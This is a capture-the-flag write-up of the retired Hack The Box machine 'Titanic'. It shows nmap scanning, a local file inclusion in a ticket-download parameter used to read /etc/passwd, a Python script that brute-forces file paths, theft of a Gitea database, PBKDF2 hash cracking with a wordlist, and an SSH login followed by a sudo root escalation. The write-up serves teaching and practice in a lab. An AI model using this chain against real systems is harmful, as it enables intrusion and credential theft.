Titanic

Exploited LFI to steal credentials

Link

Room Link


Process


So, Titanic just retired. Now I can do my write-up for it.

Let’s get our nmap scans run to identify the services.

bash

└──╼ [★]$ nmap -sC -sV -A -O -oN nmap 10.10.11.55
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-23 22:30 CDT
Nmap scan report for 10.10.11.55
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 73:03:9c:76:eb:04:f1:fe:c9:e9:80:44:9c:7f:13:46 (ECDSA)
|_  256 d5:bd:1d:5e:9a:86:1c:eb:88:63:4d:5f:88:4b:7e:04 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://titanic.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

  


Update the /etc/hosts file to include the titanic.htb redirect.

bash

└──╼ [★]$ cat /etc/hosts

  
/etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot
10.10.11.55 titanic.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-uqfp1x2gbg htb-uqfp1x2gbg.htb-cloud.com


Run the curl -I to try and identify the technology.

bash

└──╼ [★]$ curl -I http://titanic.htb
HTTP/1.1 200 OK
Date: Sat, 24 May 2025 03:40:22 GMT
Server: Werkzeug/3.0.3 Python/3.10.12
Content-Type: text/html; charset=utf-8
Content-Length: 7399

  


View the landing page for the website.


Check the landing page source code.

view-source:http://titantic.htb

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Titanic - Book Your Ship Trip</title>
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <link href="/static/styles.css" rel="stylesheet">
    <!-- Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;700&display=swap" rel="stylesheet">
    <link rel="icon" type="image/x-icon" href="/static/assets/images/favicon.ico">
    <style>
        body {
            font-family: 'Playfair Display', serif;
        }
        .hero-section {
            background-image: url("/static/assets/images/home.jpg");
            background-size: cover;
            background-position: center;
            color: white;
            padding: 100px 0;
        }
    </style>
</head>
<body>

<snip>

</body>
</html>

  


Check if there is a robots file.


Check the booking functionality.


Check the request that we just sent in the Burp Suite.


Send it to repeater and update the ticket parameter to pull /etc/passwd proving LFI.


Check the full passwd file.

/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:112:118:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:113:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:999:100::/var/snap/lxd/common/lxd:/bin/false
dnsmasq:x:114:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
_laurel:x:998:998::/var/log/laurel:/bin/false


Generate a file list to test the lfi.

bash

\apache2\log\access_log
\apache2\log\access.log
\apache2\log\error_log
\apache2\log\error.log
/apache2/logs/access.log
/apache2/logs/access.log
\apache2\logs\access_log
\apache2\logs\access.log

<snip>

  

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Intruders/List_Of_File_To_Include.txt https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/Intruders/Linux-files.txt


Write a python script that submits all of the files from our list and filters out Ticket Not Found.

htb-titanic_0x00.py

import requests

with open('/home/kali/Documents/htb/titanic/lfi', 'r') as fs:
    for line in fs:
        file = line.rstrip('\n')

        url = f'http://titanic.htb/download?ticket={file}'

        results = requests.get(url=url)

        if 'Ticket not found' not in results.text:
            print('**********************************')
            print(url)
            print(results.text)
            print('**********************************')import requests

with open('/home/kali/Documents/htb/titanic/lfi', 'r') as fs:
    for line in fs:
        file = line.rstrip('\n')

        url = f'http://titanic.htb/download?ticket={file}'

        results = requests.get(url=url)

        if 'Ticket not found' not in results.text:
            print('**********************************')
            print(url)
            print(results.text)
            print('**********************************')

  


From the results, notice the /etc/hosts.

/etc/hosts
127.0.0.1 localhost titanic.htb dev.titanic.htb
127.0.1.1 titanic

# The following lines are desirable for IPv6 capable hosts
::1     ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

http://titanic.htb/download?ticket=/etc/hosts


Update our /etc/hosts to include the dev.titanic.htb.

bash

┌──(kali㉿kali)-[~/Documents/htb/titanic]
└─$ cat /etc/hosts

  
/etc/passwd
127.0.0.1       localhost
127.0.1.1       kali
10.10.11.55     titanic.htb dev.titanic.htb


# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


Check the dev landing page.


Check the repos in the Gitea.


Eumerate the repo and notice the two tickets. Potential usernames somewhere.

json

{"name": "Jack Dawson", "email": "jack.dawson@titanic.htb", "phone": "555-123-4567", "date": "2024-08-23", "cabin": "Standard"}
{"name": "Rose DeWitt Bukater", "email": "rose.bukater@titanic.htb", "phone": "643-999-021", "date": "2024-08-22", "cabin": "Suite"}

  


Check the mysql/docker-compose.yml.

mysql/docker-compose.yml

version: '3.8'

services:
  mysql:
    image: mysql:8.0
    container_name: mysql
    ports:
      - "127.0.0.1:3306:3306"
    environment:
      MYSQL_ROOT_PASSWORD: 'MySQLP@$$w0rd!'
      MYSQL_DATABASE: tickets 
      MYSQL_USER: sql_svc
      MYSQL_PASSWORD: sql_password
    restart: always

  


Check the gitea/docker-compose.yml.

gitea/docker-compose.yml

version: '3'

services:
  gitea:
    image: gitea/gitea
    container_name: gitea
    ports:
      - "127.0.0.1:3000:3000"
      - "127.0.0.1:2222:22"  # Optional for SSH access
    volumes:
      - /home/developer/gitea/data:/data # Replace with your path
    environment:
      - USER_UID=1000
      - USER_GID=1000
    restart: always

  


Look up the possible locations of the Gitea app.ini file and play with the URL and LFI to pull the app.ini file.

http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/conf/app.ini


Download the gitea.db.

bash

┌──(kali㉿kali)-[~/Documents/htb/titanic]
└─$ wget http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db -O gitea.db
--2025-05-25 20:19:07--  http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db
Resolving titanic.htb (titanic.htb)... 10.10.11.55
Connecting to titanic.htb (titanic.htb)|10.10.11.55|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2084864 (2.0M) [application/octet-stream]
Saving to: ‘gitea.db’

gitea.db                                                   100%[========================================================================================================================================>]   1.99M   429KB/s    in 7.6s    

2025-05-25 20:19:15 (268 KB/s) - ‘gitea.db’ saved [2084864/2084864]

  


Check the user table in Sqlite Browser.


From the [Filter] field, we know the encryption is PBDKF2. Look up a cracker for that algorithm.

https://github.com/Eli4m/HMAC_PBDKF2_Cracker


Download the cracker.

bash

┌──(kali㉿kali)-[~/Documents/htb/titanic]
└─$ wget https://raw.githubusercontent.com/Eli4m/HMAC_PBDKF2_Cracker/refs/heads/main/PBKDF2_HMAC_Decrypt.py -O phd.py --inet4-only
--2025-05-25 20:41:24--  https://raw.githubusercontent.com/Eli4m/HMAC_PBDKF2_Cracker/refs/heads/main/PBKDF2_HMAC_Decrypt.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2775 (2.7K) [text/plain]
Saving to: ‘phd.py’

phd.py                                                     100%[========================================================================================================================================>]   2.71K  --.-KB/s    in 0s      

2025-05-25 20:41:25 (41.2 MB/s) - ‘phd.py’ saved [2775/2775]

  


Run the cracker for the developer account and get a result. Neat!

bash

┌──(kali㉿kali)-[~/Documents/htb/titanic]
└─$ python3 phd.py -ph e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56 -w /usr/share/wordlists/rockyou.txt -s 8bf3e3452b78544f8bee9400d6936d34 -i 50000 -l 50

<snip>

Trying: willis
Trying: tamtam
Trying: ryan
Trying: register
Trying: password01
Trying: magali
Trying: larsson
Trying: kimbum
Trying: killa1
Trying: kidrock
Trying: july23
Trying: july15
Trying: emogurl
Trying: callalily
Trying: baby21
Trying: 25282528


MATCH Found!: 25282528

  


Check for password reuse and ssh in as the developer account.

bash

┌──(kali㉿kali)-[~/Documents/htb/titanic]
└─$ ssh developer@10.10.11.55                 
The authenticity of host '10.10.11.55 (10.10.11.55)' can't be established.
ED25519 key fingerprint is SHA256:Ku8uHj9CN/ZIoay7zsSmUDopgYkPmN7ugINXU0b2GEQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.11.55' (ED25519) to the list of known hosts.
developer@10.10.11.55's password: 
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-131-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sun May 25 11:01:45 AM UTC 2025

  System load:           0.01
  Usage of /:            70.9% of 6.79GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             228
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.55
  IPv6 address for eth0: dead:beef::250:56ff:fe95:87d1


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sun May 25 10:15:07 2025 from 10.10.16.11
developer@titanic:~$

  


Get the user.txt flag.

bash

developer@titanic:~$ cat /home/developer/user.txt 
<redacted>
developer@titanic:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:95:87:d1 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.55/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:fe95:87d1/64 scope global dynamic mngtmpaddr 
       valid_lft 86393sec preferred_lft 14393sec
    inet6 fe80::250:56ff:fe95:87d1/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:82:ea:6e:75 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-892511bece4a: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:3f:23:c7:26 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-892511bece4a
       valid_lft forever preferred_lft forever
    inet6 fe80::42:3fff:fe23:c726/64 scope link 
       valid_lft forever preferred_lft forever
6: veth08b27f9@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-892511bece4a state UP group default 
    link/ether ce:de:5e:b5:7b:85 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::ccde:5eff:feb5:7b85/64 scope link 
       valid_lft forever preferred_lft forever

  


Run sudo -l to see all the commands that we can run as sudo.

bash

developer@titanic:~$ sudo -l
Matching Defaults entries for developer on titanic:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User developer may run the following commands on titanic:
    (ALL) NOPASSWD: ALL

  


Sudo into root.

bash

developer@titanic:~$ sudo su
root@titanic:/home/developer#

  


Get the root.txt flag.

bash

root@titanic:/home/developer# cat /root/root.txt
<redacted>
root@titanic:/home/developer# ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:95:87:d1 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.55/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:fe95:87d1/64 scope global dynamic mngtmpaddr 
       valid_lft 86400sec preferred_lft 14400sec
    inet6 fe80::250:56ff:fe95:87d1/64 scope link 
       valid_lft forever preferred_lft forever
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN group default 
    link/ether 02:42:82:ea:6e:75 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
4: br-892511bece4a: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:3f:23:c7:26 brd ff:ff:ff:ff:ff:ff
    inet 172.18.0.1/16 brd 172.18.255.255 scope global br-892511bece4a
       valid_lft forever preferred_lft forever
    inet6 fe80::42:3fff:fe23:c726/64 scope link 
       valid_lft forever preferred_lft forever
6: veth08b27f9@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master br-892511bece4a state UP group default 
    link/ether ce:de:5e:b5:7b:85 brd ff:ff:ff:ff:ff:ff link-netnsid 0
    inet6 fe80::ccde:5eff:feb5:7b85/64 scope link 
       valid_lft forever preferred_lft forever

  


And with that, we bring the Titanic box home. Hopefully, you enjoyed the read. See you in the next one.


Trophy